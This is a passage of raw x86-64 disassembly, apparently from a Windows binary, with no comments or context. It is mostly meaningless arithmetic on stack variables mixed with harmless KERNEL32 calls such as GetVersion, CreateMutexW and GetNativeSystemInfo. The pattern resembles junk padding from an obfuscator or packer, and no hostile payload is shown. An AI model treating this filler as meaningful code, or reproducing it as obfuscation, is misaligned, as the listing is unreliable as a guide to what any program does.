lea rax, [0x14018ace0]
mov qword [rsp + 0x7b88], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x21fc], eax
mov rax, qword [rsp + 0x6960]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x39b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x63d0], rax
mov rax, qword [rsp + 0x6820]
movzx eax, word [rax]
mov word [rsp + 0xf50], ax
mov rax, qword [0x14018c188]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b3c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5238]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1b7]
movsx ecx, byte [rsp + 0x1af]
sar eax, cl
mov byte [rsp + 0x8f], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x7b90], rax
lea rax, [rsp + 0x5ef8]
mov qword [rsp + 0x7b98], rax
mov rax, qword [rsp + 0x3bb8]
mov rcx, qword [rsp + 0x4548]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x72e8]
mov dword [rcx], eax
lea rax, [rsp + 0x1c6]
mov qword [rsp + 0x7ba0], rax
lea rcx, [rsp + 0x157e8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, word [rsp + 0xd84]
mov rcx, qword [rsp + 0x5ad8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14018c748]
mov word [rcx], ax
mov rax, qword [rsp + 0x59d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6228]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe74], ax
lea rax, [rsp + 0xde4]
mov qword [rsp + 0x7ba8], rax
mov rax, qword [rsp + 0x7a90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5da0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50b0], rax
mov rcx, qword [rsp + 0x5d58]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [0x14018acd9]
movsx ecx, byte [rsp + 0xd2]
sar eax, cl
mov rcx, qword [rsp + 0x6878]
mov byte [rcx], al
mov rax, qword [rsp + 0x50e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4cc0]
mov qword [rsp + 0x7bb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7bb0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1b6c], eax
mov rax, qword [rsp + 0x60f0]
mov rcx, qword [rsp + 0x6168]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4c98]
mov qword [rcx], rax
lea rax, [rsp + 0xd40]
mov qword [rsp + 0x7bb8], rax
mov rax, qword [rsp + 0x6c68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60d0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7b18]
mov word [rcx], ax
lea rax, [rsp + 0x3368]
mov qword [0x14018c768], rax
mov rax, qword [rsp + 0x48e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6650]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd4c], ax
mov rax, qword [rsp + 0x4b70]
mov rax, qword [rax]
mov qword [rsp + 0x7bc0], rax
mov rax, qword [rsp + 0x6b08]
mov rcx, qword [rsp + 0x3080]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c78], rax
lea rax, [rsp + 0x1ac]
mov qword [rsp + 0x7bc8], rax
mov rax, qword [rsp + 0x4e20]
mov ecx, dword [rsp + 0x218c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6040]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x15d]
movzx ecx, byte [0x14018acda]
cdq
idiv ecx
mov rcx, qword [rsp + 0x78f8]
mov byte [rcx], al
mov edx, 0x1593
mov rcx, qword [rsp + 0x7ad8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x21fc], eax
mov rax, qword [rsp + 0x6100]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2224]
sar eax, cl
mov dword [rsp + 0x1c4c], eax
mov rax, qword [rsp + 0x44f8]
mov rcx, qword [rsp + 0x6cf0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5ef0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4780]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x60e8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14018bf28]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x7bd0], rax
movzx eax, word [rsp + 0xc90]
mov word [rsp + 0xf54], ax
movzx eax, word [rsp + 0xd90]
mov rcx, qword [rsp + 0x43e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe14], ax
lea rax, [0x14018ad74]
mov qword [rsp + 0x7bd8], rax
lea rcx, [rsp + 0x15878]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x5eb0]
mov ecx, dword [rsp + 0x1e7c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x203c], eax
mov rax, qword [rsp + 0x5bc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ca0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6bb8]
mov byte [rcx], al
mov rax, qword [rsp + 0x2d60]
mov qword [rsp + 0x7be0], rax
mov rax, qword [rsp + 0x5d98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7c8]
add eax, ecx
mov word [rsp + 0xcc0], ax
mov rax, qword [rsp + 0x7790]
movzx eax, word [rax]
movzx ecx, word [0x14018acfc]
shl eax, cl
mov word [rsp + 0x774], ax
mov rax, qword [rsp + 0x4108]
mov rcx, qword [rsp + 0x6d60]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [0x14018c1c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4a88]
mov rcx, qword [rsp + 0x5ae8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x65c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x63d0]
movzx ecx, al
mov rax, qword [0x14018c108]
sar rax, cl
mov rcx, qword [rsp + 0x5958]
mov qword [rcx], rax
lea rax, [rsp + 0x5f50]
mov qword [rsp + 0x7be8], rax
movzx eax, word [rsp + 0xae4]
movzx ecx, word [rsp + 0x8f4]
sub eax, ecx
mov rcx, qword [rsp + 0x6808]
mov word [rcx], ax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
mov byte [rsp + 0x20d], al
movzx ecx, word [rsp + 0xcf4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd18], ax
mov rcx, qword [rsp + 0x3e68]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x7040]
mov rcx, qword [rsp + 0x6b78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6130]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xed]
mov rcx, qword [rsp + 0x4168]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5d00]
mov byte [rcx], al
lea rax, [rsp + 0x1d88]
mov qword [rsp + 0x7bf0], rax
lea rax, [rsp + 0x4060]
mov qword [0x14018c770], rax
mov rax, qword [rsp + 0x5118]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8f8]
sar eax, cl
mov rcx, qword [rsp + 0x4be0]
mov word [rcx], ax
lea rax, [rsp + 0x6b0]
mov qword [rsp + 0x7bf8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2054], eax
mov rax, qword [rsp + 0x7b48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdf4]
and eax, ecx
mov word [rsp + 0x3f0], ax
mov rax, qword [rsp + 0x3a10]
mov rcx, qword [rsp + 0x5e78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x73a8], rax
lea rax, [0x14018ad18]
mov qword [rsp + 0x7c00], rax
movsx eax, byte [rsp + 0x1d5]
movsx ecx, byte [rsp + 0x129]
add eax, ecx
mov rcx, qword [rsp + 0x4bd8]
mov byte [rcx], al
lea rax, [rsp + 0x225c]
mov qword [rsp + 0x7c08], rax
mov rax, qword [rsp + 0x3b70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6928]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x4d0], ax
mov rax, qword [rsp + 0x5410]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x97c]
xor eax, ecx
mov rcx, qword [0x14018c610]
mov word [rcx], ax
mov rax, qword [rsp + 0x61e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5c38]
mov qword [rsp + 0x7c10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7c10]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x2cc8], rax
movzx eax, word [rsp + 0xd94]
movzx ecx, word [rsp + 0x600]
or eax, ecx
mov word [rsp + 0xe30], ax
mov rax, qword [rsp + 0x6ce8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7060]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1c6], al
lea rax, [rsp + 0x1fc0]
mov qword [rsp + 0x7c18], rax
mov eax, dword [rsp + 0x1e7c]
mov ecx, dword [rsp + 0x1cdc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5cf0]
mov dword [rcx], eax
lea rax, [rsp + 0x3fc0]
mov qword [rsp + 0x7c20], rax
movsx eax, byte [rsp + 0xb4]
mov rcx, qword [rsp + 0x44a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x45a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5470]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x81c]
and eax, ecx
mov word [rsp + 0xc7c], ax
mov rax, qword [rsp + 0x68b8]
movzx eax, word [rax]
mov word [0x14018c778], ax
lea rax, [rsp + 0x2ff8]
mov qword [rsp + 0x7c28], rax
mov rax, qword [0x14018c140]
mov rcx, qword [rsp + 0x2ac8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5538]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x7bd0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x21f8], eax
lea rax, [rsp + 0x62c]
mov qword [rsp + 0x7c30], rax
mov rax, qword [rsp + 0x7ba8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x57a8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7398]
mov word [rcx], ax
mov rax, qword [rsp + 0x4708]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5b98]
mov qword [rsp + 0x7c38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7c38]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3e80]
mov dword [rcx], eax
lea rax, [rsp + 0x1ad]
mov qword [rsp + 0x7c40], rax
mov rax, qword [0x14018ad18]
mov rcx, qword [rsp + 0x3458]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b10]
mov qword [rcx], rax
lea rax, [rsp + 0x4730]
mov qword [rsp + 0x7c48], rax
movsx eax, word [rsp + 0xca8]
movsx ecx, word [rsp + 0xe44]
and eax, ecx
mov rcx, qword [0x14018c488]
mov word [rcx], ax
mov rax, qword [rsp + 0x5128]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5800]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6840]
mov word [rcx], ax
lea rcx, [rsp + 0x158a8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0x1c4c]
mov rcx, qword [rsp + 0x5b78]
mov qword [rsp + 0x7c50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7c50]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x205]
mov byte [rsp + 0x20e], al
mov rcx, qword [rsp + 0x3b10]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x14018c540]
mov rcx, qword [rsp + 0x5388]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x54f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6098]
mov rax, qword [rax]
mov qword [rsp + 0x7c58], rax
movzx ecx, word [rsp + 0xeb8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xcf4], ax
mov eax, dword [rsp + 0x20bc]
movzx ecx, al
mov eax, dword [rsp + 0x2074]
shr eax, cl
mov rcx, qword [rsp + 0x7760]
mov dword [rcx], eax
lea rax, [rsp + 0xaa]
mov qword [rsp + 0x7c60], rax
movsx eax, word [0x14018c600]
movsx ecx, word [rsp + 0xdb0]
sub eax, ecx
mov rcx, qword [rsp + 0x5d98]
mov word [rcx], ax
lea rax, [rsp + 0xcb0]
mov qword [0x14018c780], rax
mov rax, qword [rsp + 0x6968]
mov rcx, qword [rsp + 0x3200]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2c20], rax
lea rax, [rsp + 0xd10]
mov qword [rsp + 0x7c68], rax
mov rax, qword [rsp + 0x58a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc1c]
add eax, ecx
mov word [rsp + 0xcb4], ax
mov rax, qword [rsp + 0x3200]
mov rcx, qword [rsp + 0x3100]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2b20], rax
mov rax, qword [rsp + 0x4418]
mov rcx, qword [rsp + 0x6a58]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2d50], rax
mov rax, qword [rsp + 0x4050]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1e2]
and eax, ecx
mov rcx, qword [rsp + 0x61a8]
mov byte [rcx], al
mov rax, qword [0x14018c550]
mov eax, dword [rax]
mov dword [rsp + 0x2260], eax
movzx eax, word [rsp + 0xe8c]
mov rcx, qword [rsp + 0x6e10]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5508]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1f94], eax
mov rax, qword [rsp + 0x5c50]
mov rcx, qword [rsp + 0x4108]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14018c660], rax
lea rax, [rsp + 0x1f2]
mov qword [rsp + 0x7c70], rax
mov eax, dword [rsp + 0x1c40]
mov ecx, dword [rsp + 0x20dc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5d50]
mov dword [rcx], eax
movsx eax, word [rsp + 0xca0]
mov rcx, qword [rsp + 0x5760]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xd38], ax
lea rax, [0x14018ade4]
mov qword [rsp + 0x7c78], rax
mov rax, qword [rsp + 0x6678]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3188]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7c20]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2010]
mov ecx, dword [rsp + 0x2214]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b08], eax
mov rax, qword [rsp + 0x4f38]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ed8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4918]
mov byte [rcx], al
lea rax, [rsp + 0xe48]
mov qword [rsp + 0x7c80], rax
mov rax, qword [rsp + 0x3fd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeac]
sub eax, ecx
mov word [0x14018ae20], ax
mov rax, qword [rsp + 0x37e8]
mov rcx, qword [rsp + 0x7390]
mov qword [rsp + 0x7c88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7c88]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x65d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6330]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2d20]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4958]
mov qword [rcx], rax
mov rax, qword [0x14018c018]
mov qword [rsp + 0x7c90], rax
mov rax, qword [rsp + 0x77a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xed4]
and eax, ecx
mov word [rsp + 0xcac], ax
lea rax, [rsp + 0xbd]
mov qword [rsp + 0x7c98], rax
mov rax, qword [rsp + 0x52d8]
mov rcx, qword [0x14018ad80]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6d70]
mov rcx, qword [rsp + 0x76f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6900]
mov dword [rcx], eax
lea rax, [rsp + 0x20f4]
mov qword [rsp + 0x7ca0], rax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x80]
cdq
idiv ecx
mov rcx, qword [rsp + 0x61d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5448]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6d30]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14018c4c8]
mov word [rcx], ax
movzx eax, word [rsp + 0xd58]
mov word [rsp + 0xf58], ax
mov rax, qword [0x14018c208]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf24]
or eax, ecx
mov word [rsp + 0xbdc], ax
mov rax, qword [rsp + 0x49a0]
mov rcx, qword [rsp + 0x5a58]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x5fd0], rax
lea rax, [rsp + 0x129]
mov qword [rsp + 0x7ca8], rax
mov rax, qword [rsp + 0x43f8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14018ad60]
shl eax, cl
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
lea rax, [rsp + 0x3068]
mov qword [rsp + 0x7cb0], rax
mov rax, qword [rsp + 0x5a78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf48]
sub eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov word [rcx], ax
mov rax, qword [0x14018c0a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x61c]
add eax, ecx
mov word [rsp + 0xf14], ax
mov rax, qword [rsp + 0x48b8]
mov qword [0x14018c788], rax
lea rax, [rsp + 0x3a4]
mov qword [rsp + 0x7cb8], rax
mov rax, qword [rsp + 0x7530]
mov rcx, qword [rsp + 0x5818]
mov qword [rsp + 0x7cc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7cc0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x31f0], rax
lea rax, [rsp + 0x5ee0]
mov qword [rsp + 0x7cc8], rax
movsx eax, byte [rsp + 0x1cd]
movsx ecx, byte [rsp + 0x1f9]
sub eax, ecx
mov rcx, qword [rsp + 0x7770]
mov byte [rcx], al
lea rax, [rsp + 0x219c]
mov qword [rsp + 0x7cd0], rax
movzx eax, byte [rsp + 0x1ba]
mov rcx, qword [rsp + 0x7208]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7820]
mov byte [rcx], al
mov rax, qword [rsp + 0x4410]
mov rcx, qword [rsp + 0x5cc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4038]
mov dword [rcx], eax
mov rax, qword [0x14018c470]
mov rcx, qword [rsp + 0x4418]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2c80], rax
movsx eax, word [rsp + 0xd0c]
mov rcx, qword [rsp + 0x7858]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14018c348]
mov word [rcx], ax
movsx eax, word [rsp + 0x9ec]
mov rcx, qword [0x14018c710]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5278]
mov word [rcx], ax
lea rax, [rsp + 0x91c]
mov qword [rsp + 0x7cd8], rax
movzx eax, word [rsp + 0x61c]
movzx ecx, word [rsp + 0xd9c]
sar eax, cl
mov word [rsp + 0xe34], ax
mov rax, qword [rsp + 0x5000]
movzx ecx, al
mov rax, qword [0x14018ad18]
shl rax, cl
mov rcx, qword [rsp + 0x5780]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5d48]
mov eax, dword [rax]
mov dword [rsp + 0x2264], eax
mov rax, qword [rsp + 0x4f38]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x19f]
or eax, ecx
mov rcx, qword [rsp + 0x5370]
mov byte [rcx], al
lea rax, [0x14018bfc0]
mov qword [rsp + 0x7ce0], rax
movzx eax, word [rsp + 0x5ec]
mov rcx, qword [rsp + 0x4960]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6c00]
mov word [rcx], ax
lea rax, [rsp + 0x5388]
mov qword [0x14018c790], rax
mov rax, qword [rsp + 0x41a0]
mov rcx, qword [rsp + 0x6f58]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4bb0]
mov qword [rcx], rax
lea rax, [rsp + 0x5b28]
mov qword [rsp + 0x7ce8], rax
mov rax, qword [rsp + 0x6590]
mov rcx, qword [rsp + 0x3f78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7650]
mov qword [rcx], rax
movzx eax, word [rsp + 0xcf8]
mov rcx, qword [rsp + 0x7120]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7bc], ax
mov rax, qword [rsp + 0x4810]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c8]
and eax, ecx
mov rcx, qword [rsp + 0x5b40]
mov byte [rcx], al
lea rax, [rsp + 0x1c54]
mov qword [rsp + 0x7cf0], rax
movsx eax, byte [rsp + 0x153]
mov rcx, qword [rsp + 0x7c60]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x186], al
mov rax, qword [rsp + 0x7c58]
mov rcx, qword [rsp + 0x65f0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5f38]
mov rcx, qword [rsp + 0x3e30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14018be78], eax
mov rax, qword [rsp + 0x64d8]
movzx eax, word [rax]
mov word [rsp + 0xf5c], ax
movsx eax, word [rsp + 0xe70]
mov rcx, qword [rsp + 0x61b8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5a08]
mov word [rcx], ax
movzx eax, word [rsp + 0xd34]
movzx ecx, word [rsp + 0xe0c]
and eax, ecx
mov word [rsp + 0x45c], ax
mov rax, qword [rsp + 0x6048]
mov rcx, qword [rsp + 0x77e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6ee0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1fe4]
shl eax, cl
mov dword [rsp + 0x1d00], eax
mov rax, qword [0x14018c4b8]
mov qword [rsp + 0x7cf8], rax
mov rax, qword [rsp + 0x6860]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16c]
xor eax, ecx
mov rcx, qword [rsp + 0x5f78]
mov byte [rcx], al
mov rax, qword [rsp + 0x6e28]
movzx eax, word [rax]
mov word [rsp + 0xf60], ax
mov rax, qword [rsp + 0x5610]
movzx eax, word [rax]
mov word [0x14018c798], ax
mov rax, qword [rsp + 0x2dc8]
mov rcx, qword [0x14018be90]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x2d90], rax
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x92c]
sar eax, cl
mov word [rsp + 0x840], ax
movzx eax, byte [rsp + 0x1ae]
movzx ecx, byte [rsp + 0x70]
imul eax, ecx
mov byte [rsp + 0x15b], al
mov eax, dword [rsp + 0x1c54]
mov ecx, dword [rsp + 0x1d08]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20e0], eax
lea rax, [rsp + 0x35e0]
mov qword [rsp + 0x7d00], rax
mov rax, qword [rsp + 0x43b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x47c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1f9], al
mov eax, dword [rsp + 0x1d88]
mov ecx, dword [rsp + 0x1f7c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6500]
mov dword [rcx], eax
lea rax, [rsp + 0xc64]
mov qword [rsp + 0x7d08], rax
lea rax, [rsp + 0xed8]
mov qword [0x14018c7a0], rax
mov rax, qword [rsp + 0x5e98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2f58]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7110]
mov qword [rcx], rax
lea rax, [rsp + 0x3650]
mov qword [rsp + 0x7d10], rax
movsx eax, word [rsp + 0xe40]
movsx ecx, word [rsp + 0xa1c]
sar eax, cl
mov rcx, qword [rsp + 0x50d0]
mov word [rcx], ax
lea rax, [rsp + 0xe68]
mov qword [rsp + 0x7d18], rax
mov rax, qword [rsp + 0x55a0]
mov rcx, qword [rsp + 0x4258]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x46a0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1fe4]
mov ecx, dword [0x14018ad48]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7690]
mov dword [rcx], eax
lea rax, [rsp + 0x1d5]
mov qword [rsp + 0x7d20], rax
mov rax, qword [rsp + 0x3cd0]
mov rcx, qword [rsp + 0x7128]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x6230]
mov qword [rcx], rax
movsx eax, word [0x14018ae18]
mov rcx, qword [rsp + 0x4ce8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14018be38]
mov word [rcx], ax
lea rax, [rsp + 0x8b4]
mov qword [rsp + 0x7d28], rax
movzx eax, byte [rsp + 0x1dc]
movzx ecx, byte [rsp + 0x8e]
shl eax, cl
mov rcx, qword [rsp + 0x64b8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2044]
movzx ecx, al
mov eax, dword [rsp + 0x1b78]
sar eax, cl
mov dword [rsp + 0x1dc0], eax
lea rax, [rsp + 0x3228]
mov qword [rsp + 0x7d30], rax
mov rax, qword [rsp + 0x7440]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1bc8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6df8]
mov dword [rcx], eax
lea rax, [rsp + 0x2d50]
mov qword [rsp + 0x7d38], rax
movsx eax, byte [rsp + 0x1c2]
mov rcx, qword [rsp + 0x6350]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6a20]
mov byte [rcx], al
mov rax, qword [rsp + 0x6800]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8f8]
and eax, ecx
mov rcx, qword [rsp + 0x4e90]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x7d40], rax
lea rax, [rsp + 0x438]
mov qword [0x14018c7a8], rax
lea rax, [rsp + 0x5720]
mov qword [rsp + 0x7d48], rax
mov rax, qword [rsp + 0x7d28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6f50]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x4d4], ax
movzx eax, word [0x14018ad64]
mov word [rsp + 0xf64], ax
mov rax, qword [rsp + 0x6000]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5058]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5a30]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6e40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5bb0]
mov qword [rsp + 0x7d50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7d50]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1bac], eax
mov rax, qword [0x14018bf70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6878]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x19c], al
movzx ecx, word [rsp + 0xf2c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xdfc], ax
mov rax, qword [rsp + 0x6d80]
mov rcx, qword [rsp + 0x37b0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3760], rax
mov rax, qword [rsp + 0x3d98]
movzx eax, word [rax]
mov word [rsp + 0xf68], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2248], eax
mov rax, qword [rsp + 0x68f0]
mov rcx, qword [rsp + 0x5728]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x14018c1a8]
mov qword [rcx], rax
